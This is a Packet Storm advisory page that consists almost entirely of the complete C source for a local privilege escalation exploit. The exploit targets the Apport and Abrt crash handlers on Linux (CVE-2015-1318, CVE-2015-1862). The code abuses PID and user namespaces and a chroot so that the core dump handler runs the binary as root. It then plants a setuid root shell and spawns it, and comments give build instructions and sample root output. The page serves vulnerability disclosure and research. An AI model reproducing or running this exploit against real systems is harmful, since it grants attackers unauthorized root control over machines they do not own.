Linux Apport/Abrt Local Root Exploit

2015-04-15T00:00:00
ID PACKETSTORM:131423
Type packetstorm
Reporter Tavis Ormandy
Modified 2015-04-15T00:00:00

Description

                                        
                                            `#define _GNU_SOURCE  
#include <stdio.h>  
#include <unistd.h>  
#include <stdlib.h>  
#include <fcntl.h>  
#include <signal.h>  
#include <elf.h>  
#include <err.h>  
#include <syslog.h>  
#include <sched.h>  
#include <linux/sched.h>  
#include <sys/types.h>  
#include <sys/stat.h>  
#include <sys/auxv.h>  
#include <sys/wait.h>  
  
# warning this file must be compiled with -static  
  
//  
// Apport/Abrt Vulnerability Demo Exploit.  
//  
// Apport: CVE-2015-1318  
// Abrt: CVE-2015-1862  
//   
// -- taviso@cmpxchg8b.com, April 2015.  
//  
// $ gcc -static newpid.c  
// $ ./a.out  
// uid=0(root) gid=0(root) groups=0(root)  
// sh-4.3# exit  
// exit  
//  
// Hint: To get libc.a,  
// yum install glibc-static or apt-get install libc6-dev  
//  
  
int main(int argc, char **argv)  
{  
int status;  
Elf32_Phdr *hdr;  
pid_t wrapper;  
pid_t init;  
pid_t subprocess;  
unsigned i;  
  
// Verify this is a static executable by checking the program headers for a  
// dynamic segment. Originally I thought just checking AT_BASE would work,  
// but that isnt reliable across many kernels.  
hdr = (void *) getauxval(AT_PHDR);  
  
// If we find any PT_DYNAMIC, then this is probably not a static binary.  
for (i = 0; i < getauxval(AT_PHNUM); i++) {  
if (hdr[i].p_type == PT_DYNAMIC) {  
errx(EXIT_FAILURE, "you *must* compile with -static");  
}  
}  
  
// If execution reached here, it looks like we're a static executable. If  
// I'm root, then we've convinced the core handler to run us, so create a  
// setuid root executable that can be used outside the chroot.  
if (getuid() == 0) {  
if (chown("sh", 0, 0) != 0)  
exit(EXIT_FAILURE);  
  
if (chmod("sh", 04755) != 0)  
exit(EXIT_FAILURE);  
  
return EXIT_SUCCESS;  
}  
  
// If I'm not root, but euid is 0, then the exploit worked and we can spawn  
// a shell and cleanup.  
if (setuid(0) == 0) {  
system("id");  
system("rm -rf exploit");  
execlp("sh", "sh", NULL);  
  
// Something went wrong.  
err(EXIT_FAILURE, "failed to spawn root shell, but exploit worked");  
}  
  
// It looks like the exploit hasn't run yet, so create a chroot.  
if (mkdir("exploit", 0755) != 0  
|| mkdir("exploit/usr", 0755) != 0  
|| mkdir("exploit/usr/share", 0755) != 0  
|| mkdir("exploit/usr/share/apport", 0755) != 0  
|| mkdir("exploit/usr/libexec", 0755) != 0) {  
err(EXIT_FAILURE, "failed to create chroot directory");  
}  
  
// Create links to the exploit locations we need.  
if (link(*argv, "exploit/sh") != 0  
|| link(*argv, "exploit/usr/share/apport/apport") != 0 // Ubuntu  
|| link(*argv, "exploit/usr/libexec/abrt-hook-ccpp") != 0) { // Fedora  
err(EXIT_FAILURE, "failed to create required hard links");  
}  
  
// Create a subprocess so we don't enter the new namespace.  
if ((wrapper = fork()) == 0) {  
  
// In the child process, create a new pid and user ns. The pid  
// namespace is only needed on Ubuntu, because they check for %P != %p  
// in their core handler. On Fedora, just a user ns is sufficient.  
if (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0)  
err(EXIT_FAILURE, "failed to create new namespace");  
  
// Create a process in the new namespace.  
if ((init = fork()) == 0) {  
  
// Init (pid 1) signal handling is special, so make a subprocess to  
// handle the traps.  
if ((subprocess = fork()) == 0) {  
// Change /proc/self/root, which we can do as we're privileged  
// within the new namepace.  
if (chroot("exploit") != 0) {  
err(EXIT_FAILURE, "chroot didnt work");  
}  
  
// Now trap to get the core handler invoked.  
__builtin_trap();  
  
// Shouldn't happen, unless user is ptracing us or something.  
err(EXIT_FAILURE, "coredump failed, were you ptracing?");  
}  
  
// If the subprocess exited with an abnormal signal, then everything worked.  
if (waitpid(subprocess, &status, 0) == subprocess)   
return WIFSIGNALED(status)  
? EXIT_SUCCESS  
: EXIT_FAILURE;  
  
// Something didn't work.  
return EXIT_FAILURE;  
}  
  
// The new namespace didn't work.  
if (waitpid(init, &status, 0) == init)  
return WIFEXITED(status) && WEXITSTATUS(status) == EXIT_SUCCESS  
? EXIT_SUCCESS  
: EXIT_FAILURE;  
  
// Waitpid failure.  
return EXIT_FAILURE;  
}  
  
// If the subprocess returned sccess, the exploit probably worked, reload  
// with euid zero.  
if (waitpid(wrapper, &status, 0) == wrapper) {  
// All done, spawn root shell.  
if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {  
execl(*argv, "w00t", NULL);  
}  
}  
  
// Unknown error.  
errx(EXIT_FAILURE, "unexpected result, cannot continue");  
}  
  
`